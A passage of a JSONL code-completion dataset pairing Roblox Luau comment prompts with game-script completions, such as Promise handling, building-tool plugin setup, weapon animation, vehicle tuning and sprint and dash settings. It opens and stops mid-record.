select(\"#\", ...) > 1 then\n\t\t\tlocal message = (\n\t\t\t\t\"When returning a Promise from andThen, extra arguments are \" ..\n\t\t\t\t\"discarded! See:\\n\\n%s\"\n\t\t\t):format(\n\t\t\t\tself._source\n\t\t\t)\n\t\t\twarn(message)\n\t\tend\n\n\t\t(...):andThen(\n\t\t\tfunction(...)\n\t\t\t\tself:_resolve(...)\n\t\t\tend,\n\t\t\tfunction(...)\n\t\t\t\tself:_reject(...)\n\t\t\tend\n\t\t)\n\n\t\treturn\n\tend\n\n\tself._status = Promise.Status.Resolved\n\tself._valuesLength, self._values = pack(...)\n\n\t-- We assume that these callbacks will not throw errors.\n\tfor _, callback in ipairs(self._queuedResolve) do\n\t\tcallback(...)\n\tend\nend\n\nfunction Promise.prototype:_reject(...)\n\tif self._status ~= Promise.Status.Started then\n\t\treturn\n\tend\n\n\tself._status = Promise.Status.Rejected\n\tself._valuesLength, self._values = pack(...)\n\n\t-- If there are any rejection handlers, call those!\n\tif not isEmpty(self._queuedReject) then\n\t\t-- We assume that these callbacks will not throw errors.\n\t\tfor _, callback in ipairs(self._queuedReject) do\n\t\t\tcallback(...)\n\t\tend\n\telse\n\t\t-- At this point, no one was able to observe the error.\n\t\t-- An error handler might still be attached if the error occurred\n\t\t-- synchronously. We'll wait one tick, and if there are still no\n\t\t-- observers, then we should put a message in the console.\n\n\t\tself._unhandledRejection = true\n\t\tlocal err = tostring((...))\n\n\t\tspawn(function()\n\t\t\t-- Someone observed the error, hooray!\n\t\t\tif not self._unhandledRejection then\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\t-- Build a reasonable message\n\t\t\tlocal message = (\"Unhandled promise rejection:\\n\\n%s\\n\\n%s\"):format(\n\t\t\t\terr,\n\t\t\t\tself._source\n\t\t\t)\n\t\t\twarn(message)\n\t\tend)\n\tend\nend\n\nreturn Promise\n"} +{"prompt": "-- Enable tool or plugin", "completion": "\nif Mode == 'Plugin' then\n\n\t-- Set the UI root\n\tUIContainer = CoreGui;\n\n\t-- Create the toolbar button\n\tPluginButton = Plugin:CreateToolbar('Building Tools by F3X'):CreateButton(\n\t\t'Building Tools by F3X',\n\t\t'Building Tools by F3X',\n\t\tAssets.PluginIcon\n\t);\n\n\t-- Connect the button to the system\n\tPluginButton.Click:Connect(function ()\n\t\tPluginEnabled = not PluginEnabled;\n\t\tPluginButton:SetActive(PluginEnabled);\n\n\t\t-- Toggle the tool\n\t\tif PluginEnabled then\n\t\t\tPlugin:Activate(true);\n\t\t\tEnable(Plugin:GetMouse());\n\t\telse\n\t\t\tDisable();\n\t\tend;\n\tend);\n\n\t-- Disable the tool upon plugin deactivation\n\tPlugin.Deactivation:Connect(Disable);\n\n\t-- Sync Studio selection to internal selection\n\tSelection.Changed:Connect(function ()\n\t\tSelectionService:Set(Selection.Items);\n\tend);\n\n\t-- Sync internal selection to Studio selection on enabling\n\tEnabling:Connect(function ()\n\t\tSelection.Replace(SelectionService:Get());\n\tend);\n\n\t-- Roughly sync Studio history to internal history (API lacking necessary functionality)\n\tHistory.Changed:Connect(function ()\n\t\tChangeHistoryService:SetWaypoint 'Building Tools by F3X';\n\tend);\n\nelseif Mode == 'Tool' then\n\n\t-- Set the UI root\n\tUIContainer = Player:WaitForChild 'PlayerGui';\n\n\t-- Connect the tool to the system\n\tTool.Equipped:Connect(Enable);\n\tTool.Unequipped:Connect(Disable);\n\n\t-- Disable the tool if not parented\n\tif not Tool.Parent then\n\t\tDisable();\n\tend;\n\n\t-- Disable the tool automatically if not equipped or in backpack\n\tTool.AncestryChanged:Connect(function (Item, Parent)\n\t\tif not Parent or not (Parent:IsA 'Backpack' or (Parent:IsA 'Model' and Players:GetPlayerFromCharacter(Parent))) then\n\t\t\tDisable();\n\t\tend;\n\tend);\n\nend;\n"} +{"prompt": "--Damages the humanoid.", "completion": "\nfunction PlayerDamager:DamageHumanoid(DamagingPlayer,Humanoid,Damage,ToolName)\n\t--Check if it can be damaged.\n\tif not PlayerDamager:CanDamageHumanoid(DamagingPlayer,Humanoid) or not Humanoid.Parent then\n\t\treturn\n\tend\n\t\n\t--Damage the humanoid.\n\tHumanoid:TakeDamage(Damage)\n\t\n\t--Create the tag.\n\tlocal CreatorTag = Instance.new(\"ObjectValue\")\n\tCreatorTag.Name = \"creator\"\n\tCreatorTag.Value = DamagingPlayer\n\tCreatorTag.Parent = Humanoid\n\tDebris:AddItem(CreatorTag,3)\nend\n\nreturn PlayerDamager\n"} +{"prompt": "-- OFFSET HANDLERS", "completion": "\nlocal alignmentDetails = {}\nalignmentDetails[\"left\"] = {\n\tstartScale = 0,\n\tgetOffset = function()\n\t\tlocal offset = 48 + IconController.leftOffset\n\t\tif checkTopbarEnabled() and starterGui:GetCoreGuiEnabled(\"Chat\") then\n\t\t\toffset += 12 + 32\n\t\tend\n\t\treturn offset\n\tend,\n\tgetStartOffset = function()\n\t\tlocal alignmentGap = IconController[\"leftGap\"]\n\t\tlocal startOffset = alignmentDetails.left.getOffset() + alignmentGap\n\t\treturn startOffset\n\tend,\n\trecords = {}\n}\nalignmentDetails[\"mid\"] = {\n\tstartScale = 0.5,\n\tgetOffset = function()\n\t\treturn 0\n\tend,\n\tgetStartOffset = function(totalIconX) \n\t\tlocal alignmentGap = IconController[\"midGap\"]\n\t\treturn -totalIconX/2 + (alignmentGap/2)\n\tend,\n\trecords = {}\n}\nalignmentDetails[\"right\"] = {\n\tstartScale = 1,\n\tgetOffset = function()\n\t\tlocal offset = IconController.rightOffset\n\t\tif checkTopbarEnabled() and (starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack) or starterGui:GetCoreGuiEnabled(Enum.CoreGuiType.EmotesMenu)) then\n\t\t\toffset += 48\n\t\tend\n\t\treturn offset\n\tend,\n\tgetStartOffset = function(totalIconX)\n\t\tlocal startOffset = -totalIconX - alignmentDetails.right.getOffset()\n\t\treturn startOffset\n\tend,\n\trecords = {}\n\t--reverseSort = true\n}\n\n\n"} +{"prompt": "--------------------[ ANIMATION FUNCTIONS ]-------------------------------------------", "completion": "\n\nfunction Animate()\n\tspawn(function()\n\t\tlocal T = createL(HUD)\n\t\t\n\t\tlocal baseStr = \"\"\n\t\tlocal formatStr = \"%s\"\n\t\tfor _, Byte in pairs(ASCII) do\n\t\t\tlocal Char = string.char(Byte)\n\t\t\tbaseStr = baseStr..Char\n\t\tend\n\t\tlocal newStr = string.format(formatStr, baseStr)\n\t\tT.Text = newStr\n\tend)\n\t\n\tlocal Increment = 90 / 0.4--1.5 / 0.4\n\tlocal runAlpha = 0\n\tlocal currentlyCrawling = false\n\tlocal crawlTween = false\n\tINSERT(Connections, RS.RenderStepped:connect(function(dt)\n\t\t--Movement Variable updating\n\t\tisCrawling = (Stance == 2 and onGround and S.stanceSettings.crawlAnimation) and ((not Idling) and Walking) or false\n\t\tisIdling = (((not onGround) and S.stopAnimsOnFall) and true or (Idling and (not Walking))) and (not Knifing) and (not isCrawling)\n\t\tisWalking = (not Idling) and Walking and (not Running) and (not Knifing) and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling)\n\t\tisRunning = (not Idling) and Walking and Running and (not Knifing) and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling)\n\t\t\n\t\tcrawlAlpha = math.min(math.max(crawlAlpha + (isCrawling and Increment or -Increment) * dt, 0), 90)\n\t\tidleAlpha = math.min(math.max(idleAlpha + (isIdling and Increment or -Increment) * dt, 0), 90)\n\t\twalkAlpha = math.min(math.max(walkAlpha + (isWalking and Increment or -Increment) * dt, 0), 90)\n\t\trunAlpha = math.min(math.max(runAlpha + (isRunning and Increment or -Increment) * dt, 0), 90)\n\t\t\n\t\tlocal posHip = (\n\t\t\tSine(idleAlpha) * (Anims.Idling[\"unAimed\"](Anim.Ang)).Pos\n\t\t) + (\n\t\t\tSine(walkAlpha) * (Anims.Walking[\"unAimed\"](Anim.Ang)).Pos\n\t\t) + (\n\t\t\tSine(runAlpha) * (Anims.Running(Anim.Ang)).Pos\n\t\t)\n\t\tlocal rotHip = (\n\t\t\tSine(idleAlpha) * (Anims.Idling[\"unAimed\"](Anim.Ang)).Rot\n\t\t) + (\n\t\t\tSine(walkAlpha) * (Anims.Walking[\"unAimed\"](Anim.Ang)).Rot\n\t\t) + (\n\t\t\tSine(runAlpha) * (Anims.Running(Anim.Ang)).Rot\n\t\t)\n\t\tlocal posAim = (\n\t\t\tSine(idleAlpha) * (Anims.Idling[\"Aimed\"](Anim.Ang)).Pos\n\t\t) + (\n\t\t\tSine(walkAlpha) * (Anims.Walking[\"Aimed\"](Anim.Ang)).Pos\n\t\t) + (\n\t\t\tSine(runAlpha) * (Anims.Running(Anim.Ang)).Pos\n\t\t)\n\t\tlocal rotAim = (\n\t\t\tSine(idleAlpha) * (Anims.Idling[\"Aimed\"](Anim.Ang)).Rot\n\t\t) + (\n\t\t\tSine(walkAlpha) * (Anims.Walking[\"Aimed\"](Anim.Ang)).Rot\n\t\t) + (\n\t\t\tSine(runAlpha) * (Anims.Running(Anim.Ang)).Rot\n\t\t)\n\t\t\n\t\tAnim.Pos = (1 - aimAlpha) * posHip + aimAlpha * posAim\n\t\tAnim.Rot = (1 - aimAlpha) * rotHip + aimAlpha * rotAim\n\t\t\n\t\tAnim.Ang = Anim.Ang + RAD(105 * dt) * stanceSway\n\t\t\n\t\t--Gun Momentum updating\n\t\tgunMomentum.t = V3(desiredXOffset, desiredYOffset, 0)\n\t\tlocal newGunMomentum = gunMomentum.p\n\t\tcurrentXOffset = newGunMomentum.X / S.momentumSettings.maxInput\n\t\tcurrentYOffset = newGunMomentum.Y / S.momentumSettings.maxInput\n\t\t\n\t\t--Recoil spring updating\n\t\tgunRecoilSpring.t = recoilAnim.Rot\n\t\tcamRecoilSpring.t = camOffsets.Recoil.Rot\n\t\t\n\t\t--Cross spring updating\n\t\tif Aimed then\n\t\t\tcrossSpring.t = V3(-2, 0, 0)\n\t\telse\n\t\t\tcrossSpring.t = V3(crossOffset + (baseSpread + currentSpread) * 50, 0, 0)\n\t\tend\n\t\tlocal newS = crossSpring.p.X\n\t\tcrossA.Position = UDim2.new(0.5, -1, 1, -newS / 2)\n\t\tcrossB.Position = UDim2.new(0, newS / 2 - 15, 0.5, -1)\n\t\tcrossC.Position = UDim2.new(0.5, -1, 0, newS / 2 - 15)\n\t\tcrossD.Position = UDim2.new(1, -newS / 2, 0.5, -1)\n\t\t\n\t\t--Orientation updating\n\t\tlocal finalCamOffset = getTotalCamOffset()\n\t\theadWeld.C1 = CFANG(-camAng.y - finalCamOffset.Y, 0, 0)\n\t\tif (not Humanoid.Sit) then\n\t\t\tHRP.CFrame = CF(HRP.Position) * CFANG(0, camAng.x + finalCamOffset.X, 0)\n\t\tend\n\t\t\n\t\t--Walkspeed updating\n\t\tif Running then\n\t\t\tHumanoid.WalkSpeed = S.walkSpeeds.Sprinting\n\t\telse\n\t\t\tlocal SpeedRatio = S.walkSpeeds.Aimed / S.walkSpeeds.Base\n\t\t\tif Stance == 0 then\n\t\t\t\tHumanoid.WalkSpeed = (Aimed and S.walkSpeeds.Aimed or S.walkSpeeds.Base)\n\t\t\telseif Stance == 1 then\n\t\t\t\tHumanoid.WalkSpeed = (Aimed and S.walkSpeeds.Crouched * SpeedRatio or S.walkSpeeds.Crouched)\n\t\t\telseif Stance == 2 then\n\t\t\t\tHumanoid.WalkSpeed = (Aimed and S.walkSpeeds.Prone * SpeedRatio or S.walkSpeeds.Prone)\n\t\t\tend\n\t\tend\n\tend))\n\t\n\tlocal crawlAng = 0\n\twhile Selected do\n\t\tif isCrawling then\n\t\t\tbreakReload = (Reloading and true or breakReload)\n\t\t\tif Aimed then unAimGun(true) end\n\t\t\tlocal tempCrawlAnim = Anims.Crawling(crawlAng, moveAng)\n\t\t\tspawn(function()\n\t\t\t\tlocal startCamRot = crawlCamRot\n\t\t\t\tlocal startLLegCF = LLegWeld.C1\n\t\t\t\tlocal startRLegCF = RLegWeld.C1\n\t\t\t\tlocal t0 = tick()\n\t\t\t\twhile true do\n\t\t\t\t\tRS.Heartbeat:wait()\n\t\t\t\t\tlocal Alpha = math.min((tick() - t0) / 0.3, 1) * 90\n\t\t\t\t\tif (not isCrawling) then break end\n\t\t\t\t\tif (not Selected) then break end\n\t\t\t\t\tcrawlCamRot = numLerp(startCamRot, tempCrawlAnim.Camera, Sine(Alpha))\n\t\t\t\t\tLLegWeld.C1 = startLLegCF:lerp(tempCrawlAnim.leftLeg, Linear(Alpha))\n\t\t\t\t\tRLegWeld.C1 = startRLegCF:lerp(tempCrawlAnim.rightLeg, Linear(Alpha))\n\t\t\t\t\tif Alpha == 90 then break end\n\t\t\t\tend\n\t\t\tend)\n\t\t\ttweenJoint(LWeld, nil, tempCrawlAnim.leftArm, Linear, 0.3)\n\t\t\ttweenJoint(RWeld, nil, tempCrawlAnim.rightArm, Linear, 0.3)\n\t\t\ttweenJoint(Grip, nil, tempCrawlAnim.Grip, Linear, 0.3)\n\t\t\tlowerSpread()\n\t\t\tlocal t0 = tick()\n\t\t\twhile true do\n\t\t\t\tlocal dt = RS.Heartbeat:wait()\n\t\t\t\tif (not Selected) then break end\n\t\t\t\tif (not isCrawling) then break end\n\t\t\t\tif (tick() - t0) >= 0.3 then\n\t\t\t\t\tlocal crawlAnim = Anims.Crawling(crawlAng, moveAng)\n\t\t\t\t\tLWeld.C1 = crawlAnim.leftArm\n\t\t\t\t\tRWeld.C1 = crawlAnim.rightArm\n\t\t\t\t\tLLegWeld.C1 = crawlAnim.leftLeg\n\t\t\t\t\tRLegWeld.C1 = crawlAnim.rightLeg\n\t\t\t\t\tGrip.C1 = crawlAnim.Grip\n\t\t\t\t\tcrawlCamRot = crawlAnim.Camera\n\t\t\t\t\tcrawlAng = crawlAng + 0.5 * RAD(105 * dt) * (HRP.Velocity * V3(1, 0, 1)).magnitude / 3\n\t\t\t\tend\n\t\t\tend\n\t\telse\n\t\t\tcrawlAng = 0\n\t\t\tif (not equipAnimPlaying) then\n\t\t\t\tspawn(function()\n\t\t\t\t\tlocal startCamRot = crawlCamRot\n\t\t\t\t\tlocal startLLegCF = LLegWeld.C1\n\t\t\t\t\tlocal startRLegCF = RLegWeld.C1\n\t\t\t\t\tlocal t0 = tick()\n\t\t\t\t\twhile true do\n\t\t\t\t\t\tRS.RenderStepped:wait()\n\t\t\t\t\t\tlocal Alpha = math.min((tick() - t0) / 0.3, 1) * 90\n\t\t\t\t\t\tif isCrawling then break end\n\t\t\t\t\t\tif (not Selected) then break end\n\t\t\t\t\t\tcrawlCamRot = numLerp(startCamRot, 0, Sine(Alpha))\n\t\t\t\t\t\tLLegWeld.C1 = startLLegCF:lerp(CF(), Linear(Alpha))\n\t\t\t\t\t\tRLegWeld.C1 = startRLegCF:lerp(CF(), Linear(Alpha))\n\t\t\t\t\t\tif Alpha == 90 then break end\n\t\t\t\t\tend\n\t\t\t\tend)\n\t\t\t\tif (not isRunning) then\n\t\t\t\t\ttweenJoint(LWeld, nil, S.unAimedC1.leftArm, Sine, 0.3)\n\t\t\t\t\ttweenJoint(RWeld, nil, S.unAimedC1.rightArm, Sine, 0.3)\n\t\t\t\t\ttweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.3)\n\t\t\t\tend\n\t\t\tend\n\t\t\twhile true do\n\t\t\t\tif (not Selected) then break end\n\t\t\t\tif isCrawling then break end\n\t\t\t\tRS.RenderStepped:wait()\n\t\t\tend\n\t\tend\n\t\twait()\n\tend\nend\n\nfunction getAnimCF()\n\treturn \tCF(aimHeadOffset, 0, 0) * CFANG(\n\t\tjumpAnim.Rot * COS(camAng.Y) * jumpAnimMultiplier + (-RAD(currentYOffset) * rotationMultiplier + gunRecoilSpring.p.X + Anim.Rot.X) * stanceSway,\n\t\t(-RAD(currentXOffset) * rotationMultiplier + gunRecoilSpring.p.Y + Anim.Rot.Y) * stanceSway,\n\t\t(RAD(currentXOffset) * rotationMultiplier + RAD(armTilt) * armTiltMultiplier + gunRecoilSpring.p.Z + Anim.Rot.Z) * stanceSway\n\t) * CF(\n\t\t(Anim.Pos.X + recoilAnim.Pos.X) * stanceSway,\n\t\tjumpAnim.Pos * COS(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Y + recoilAnim.Pos.Y) * stanceSway,\n\t\t-jumpAnim.Pos * SIN(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Z + recoilAnim.Pos.Z) * stanceSway\n\t), CFANG(-camAng.Y * crawlAlpha / 90, 0, 0) * CF(aimHeadOffset, -1, 0)\nend\n"} +{"prompt": "-- Settings for the projectile's path!\n-- \u0440\u0430\u0441\u0447\u0451\u0442 \u043f\u0443\u0442\u0438", "completion": "\nlocal startPoint = Vector3.new(0,5, 0)\nlocal targetPoint = Vector3.new(0, 5, 100)\nlocal travelTime = 2\t-- \u0432\u0440\u0435\u043c\u044f \u043f\u0443\u0442\u0438\nlocal antiGravity = 1\t-- \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0433\u0440\u0430\u0432\u0438\u0442\u0430\u0446\u0438\u0438 1 - \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c, 0,5 \u043f\u043e \u0434\u0443\u0433\u0435\n "} +{"prompt": "--Object functions", "completion": "\nlocal function Update(self, i)\n\t--Decrement debounce\n\tif self.debounce > 0 then\n\t\tself.debounce = math.max(self.debounce - 1, 0)\n\telse\n\t\tself.update = nil\n\tend\nend\n"} +{"prompt": "-- Settings", "completion": "\nlocal key = Enum.KeyCode.D -- key to trigger dash\nlocal velocity = 1400 -- dash speed\nlocal debounce = false -- debounce, do not set to true\nlocal cooldown = 5 -- cooldown after dash\nlocal duration = 0.3 -- dash duration"} +{"prompt": "-- ROBLOX deviation: rewrote this because Lua doesn't have negative lookahead\n-- currently commented out as it is unused\n-- local function indentAllLines(lines: string, indent: string): string\n-- \tlocal t = string.split(lines, '\\n')\n-- \tfor i, l in ipairs(t) do\n-- \t\tt[i] = indent .. l\n-- \tend\n-- \treturn table.concat(t, '\\n')\n-- end", "completion": "\n"} +{"prompt": "--You can copy what you've done above (lines 6 to 19) and modify the values to do it to multiple players.", "completion": "\n"} +{"prompt": "-- Function to handle mobile sprint button tap", "completion": "\nlocal function onMobileButtonTap()\n\tif not isSprinting and meterV > 0 then\n\t\tisSprinting = true\n\t\thandleSprinting()\n\telse\n\t\tisSprinting = false\n\t\thumanoid.WalkSpeed = defaultWalkSpeed -- Reset walk speed when stopping sprint\n\tend\nend\n"} +{"prompt": "-- Configuration System", "completion": "\n\nprint(\"DOORS \ud83d\udc41\ufe0f Sound Pack: Installing Entities Sounds...\")\n"} +{"prompt": "--[=[\n\t@within Signal\n\t@interface SignalConnection\n\t.Connected boolean\n\t.Disconnect (SignalConnection) -> ()\n\n\tRepresents a connection to a signal.\n\t```lua\n\tlocal connection = signal:Connect(function() end)\n\tprint(connection.Connected) --> true\n\tconnection:Disconnect()\n\tprint(connection.Connected) --> false\n\t```\n]=]", "completion": "\n"} +{"prompt": "------------------------------------------------------------------------------------------------------------", "completion": "\n\nfunction configureAnimationSetOld(name, fileList)\n\tif (animTable[name] ~= nil) then\n\t\tfor _, connection in pairs(animTable[name].connections) do\n\t\t\tconnection:disconnect()\n\t\tend\n\tend\n\tanimTable[name] = {}\n\tanimTable[name].count = 0\n\tanimTable[name].totalWeight = 0\t\n\tanimTable[name].connections = {}\n\n\tlocal allowCustomAnimations = true\n\n\tlocal success, msg = pcall(function() allowCustomAnimations = game:GetService(\"StarterPlayer\").AllowCustomAnimations end)\n\tif not success then\n\t\tallowCustomAnimations = true\n\tend\n\n\t-- check for config values\n\tlocal config = script:FindFirstChild(name)\n\tif (allowCustomAnimations and config ~= nil) then\n\t\ttable.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\ttable.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))\n\t\tlocal idx = 1\n\t\tfor _, childPart in pairs(config:GetChildren()) do\n\t\t\tif (childPart:IsA(\"Animation\")) then\n\t\t\t\ttable.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))\n\t\t\t\tanimTable[name][idx] = {}\n\t\t\t\tanimTable[name][idx].anim = childPart\n\t\t\t\tlocal weightObject = childPart:FindFirstChild(\"Weight\")\n\t\t\t\tif (weightObject == nil) then\n\t\t\t\t\tanimTable[name][idx].weight = 1\n\t\t\t\telse\n\t\t\t\t\tanimTable[name][idx].weight = weightObject.Value\n\t\t\t\tend\n\t\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight\n\t\t\t\tidx = idx + 1\n\t\t\tend\n\t\tend\n\tend\n\n\t-- fallback to defaults\n\tif (animTable[name].count <= 0) then\n\t\tfor idx, anim in pairs(fileList) do\n\t\t\tanimTable[name][idx] = {}\n\t\t\tanimTable[name][idx].anim = Instance.new(\"Animation\")\n\t\t\tanimTable[name][idx].anim.Name = name\n\t\t\tanimTable[name][idx].anim.AnimationId = anim.id\n\t\t\tanimTable[name][idx].weight = anim.weight\n\t\t\tanimTable[name].count = animTable[name].count + 1\n\t\t\tanimTable[name].totalWeight = animTable[name].totalWeight + anim.weight\n\t\t\t-- print(name .. \" [\" .. idx .. \"] \" .. anim.id .. \" (\" .. anim.weight .. \")\")\n\t\tend\n\tend\n\t\n\t-- preload anims\n\tif PreloadAnimsUserFlag then\n\t\tfor i, animType in pairs(animTable) do\n\t\t\tfor idx = 1, animType.count, 1 do \n\t\t\t\tHumanoid:LoadAnimation(animType[idx].anim)\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "--[=[\n @interface ISimulationConfig\n @within Types\n .raycastWhitelist {BasePart} -- Raycast whitelist used for collision checks.\n .feetHeight number -- Players feet height. Height goes from -2.5 to +2.5 so any point below this number is considered the players feet. The distance between middle and feetHeight is \"ledge\".\n .stepSize number -- How big an object we can step over?\n\n The config passed to the Chickynoid [Simulation] class.\n]=]", "completion": "\nexport type ISimulationConfig = {\n raycastWhitelist: { BasePart },\n feetHeight: number,\n stepSize: number,\n}\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 3296\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t14\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= .1\t\t-- Front Wheel Density\n\tTune.RWheelDensity\t= .1\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--[[\n\tTells whether the current test we're in should be skipped.\n]]", "completion": "\nfunction TestSession:shouldSkip()\n\t-- If our test tree had any exclusive tests, then normal tests are skipped!\n\tif self.hasFocusNodes then\n\t\tfor i = #self.nodeStack, 1, -1 do\n\t\t\tlocal node = self.nodeStack[i]\n\n\t\t\t-- Skipped tests are still skipped\n\t\t\tif node.planNode.modifier == TestEnum.NodeModifier.Skip then\n\t\t\t\treturn true\n\t\t\tend\n\n\t\t\t-- Focused tests are the only ones that aren't skipped\n\t\t\tif node.planNode.modifier == TestEnum.NodeModifier.Focus then\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\n\t\treturn true\n\telse\n\t\tfor i = #self.nodeStack, 1, -1 do\n\t\t\tlocal node = self.nodeStack[i]\n\n\t\t\tif node.planNode.modifier == TestEnum.NodeModifier.Skip then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\tend\n\n\treturn false\nend\n\nreturn TestSession\n"} +{"prompt": "--[[Remove Character Weight]]", "completion": "\n\t--Get Seats\n\tlocal Seats = {}\n\tfunction getSeats(p)\n\t\tfor i,v in pairs(p:GetChildren()) do\n\t\t\tif v:IsA(\"VehicleSeat\") or v:IsA(\"Seat\") then\n\t\t\t\tlocal seat = {}\n\t\t\t\tseat.Seat = v\n\t\t\t\tseat.Parts = {}\n\t\t\t\ttable.insert(Seats,seat)\n\t\t\tend\n\t\t\tgetSeats(v)\n\t\tend\t\n\tend\n\tgetSeats(car)\n\t\n\t--Store Physical Properties/Remove Mass Function\n\tfunction getPProperties(mod,t)\n\t\tfor i,v in pairs(mod:GetChildren()) do\n\t\t\tif v:IsA(\"BasePart\") then\n\t\t\t\tif v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end\n\t\t\t\ttable.insert(t,{v,v.CustomPhysicalProperties})\n\t\t\t\tv.CustomPhysicalProperties = PhysicalProperties.new(\n\t\t\t\t\t0,\n\t\t\t\t\tv.CustomPhysicalProperties.Friction,\n\t\t\t\t\tv.CustomPhysicalProperties.Elasticity,\n\t\t\t\t\tv.CustomPhysicalProperties.FrictionWeight,\n\t\t\t\t\tv.CustomPhysicalProperties.ElasticityWeight\n\t\t\t\t)\n\t\t\tend\n\t\t\tgetPProperties(v,t)\n\t\tend\t\t\t\n\tend\n\t\n\t--Apply Seat Handler\n\tfor i,v in pairs(Seats) do\n\t\t--Sit Handler\n\t\tv.Seat.ChildAdded:connect(function(child)\n\t\t\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") and child.Part1~=nil and child.Part1.Parent ~= workspace and not child.Part1.Parent:IsDescendantOf(car) then\n\t\t\t\tv.Parts = {}\n\t\t\t\tgetPProperties(child.Part1.Parent,v.Parts)\n\t\t\tend\n\t\tend)\n\t\t\n\t\t--Leave Handler\n\t\tv.Seat.ChildRemoved:connect(function(child)\n\t\t\tif child.Name==\"SeatWeld\" and child:IsA(\"Weld\") then\n\t\t\t\tfor i,v in pairs(v.Parts) do\n\t\t\t\t\tif v[1]~=nil and v[2]~=nil and v[1]:IsDescendantOf(workspace) then\n\t\t\t\t\t\tv[1].CustomPhysicalProperties = v[2]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tv.Parts = {}\n\t\t\tend\n\t\tend)\n\tend\n\n\n"} +{"prompt": "-- functions", "completion": "\n\nlocal function Update()\n\tGUN_GUI.AmmoLabel.Text\t= tostring(currentAmmo)\n\t\n\tif character then\n\t\tGUN_GUI.TotalLabel.Text\t= tostring(ammo[currentSize].Value)\n\tend\nend\n\nlocal function HandleCharacter(newCharacter)\n\tif newCharacter then\n\t\tcharacter\t= nil\n\t\t\n\t\tammo\t\t= newCharacter:WaitForChild(\"Ammo\")\n\t\tcharacter\t= newCharacter\n\tend\nend\n"} +{"prompt": "-- Script by Tonitoni. Model link: http://www.roblox.com/Max-Zoom-Distance-script-item?id=160640387\n-- v.1.1 June 7th 2015", "completion": "\n\ngame.Players.PlayerAdded:connect(function(player)\n\twait(0.5) --Players report the script didn't work. Adding this should resolve the issue.\n\tplayer.CameraMaxZoomDistance = 100000 -- Change this to change zoom distance\nend)\n"} +{"prompt": "-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000", "completion": "\nfunction RayCast(startPos, vec, rayLength)\n\tlocal hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle)\n\tif hitObject and hitPos then\n\t\tlocal distance = rayLength - (hitPos - startPos).magnitude\n\t\tif RayIgnoreCheck(hitObject, hitPos) and distance > 0 then\n\t\t\t-- there is a chance here for potential infinite recursion\n\t\t\treturn RayCast(hitPos, vec, distance)\n\t\tend\n\tend\n\treturn hitObject, hitPos\nend\n\n\n\nfunction TagHumanoid(humanoid, player)\n\t-- Add more tags here to customize what tags are available.\n\twhile humanoid:FindFirstChild('creator') do\n\t\thumanoid:FindFirstChild('creator'):Destroy()\n\tend \n\tlocal creatorTag = Instance.new(\"ObjectValue\")\n\tcreatorTag.Value = player\n\tcreatorTag.Name = \"creator\"\n\tcreatorTag.Parent = humanoid\n\tDebrisService:AddItem(creatorTag, 1)\nend\n\nlocal function CreateFlash()\n\tif not FlashHolder then\n\t\tFlashHolder = Instance.new(\"Part\", Tool)\n\t\tFlashHolder.Name = \"FlashHolder\"\n\t\tFlashHolder.Transparency = 1\n\t\tFlashHolder.CanCollide= false\n\t\tFlashHolder.FormFactor = \"Custom\"\n\t\tFlashHolder.Size = Vector3.new(.4,.4,.4)\n\t\tFlashHolder.Position = Tool.Handle.Position\n\t\tlocal Weld = Instance.new(\"ManualWeld\")\n\t\tWeld.C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)\n\t\tWeld.C1 = CFrame.new(0, .4, -2.4, 0, 0, 1, 1, 0, 0, 0, 1, 0)\n\t\tWeld.Part0 = FlashHolder\n\t\tWeld.Part1 = Tool.Handle\n\t\tWeld.Parent = FlashHolder\n\tend\n\tlocal flash = Instance.new('Fire', FlashHolder)\n\tflash.Color = Color3.new(1, 140 / 255, 0)\n\tflash.SecondaryColor = Color3.new(1, 0, 0)\n\tflash.Size = 0.3\n\tDebrisService:AddItem(flash, FireRate / 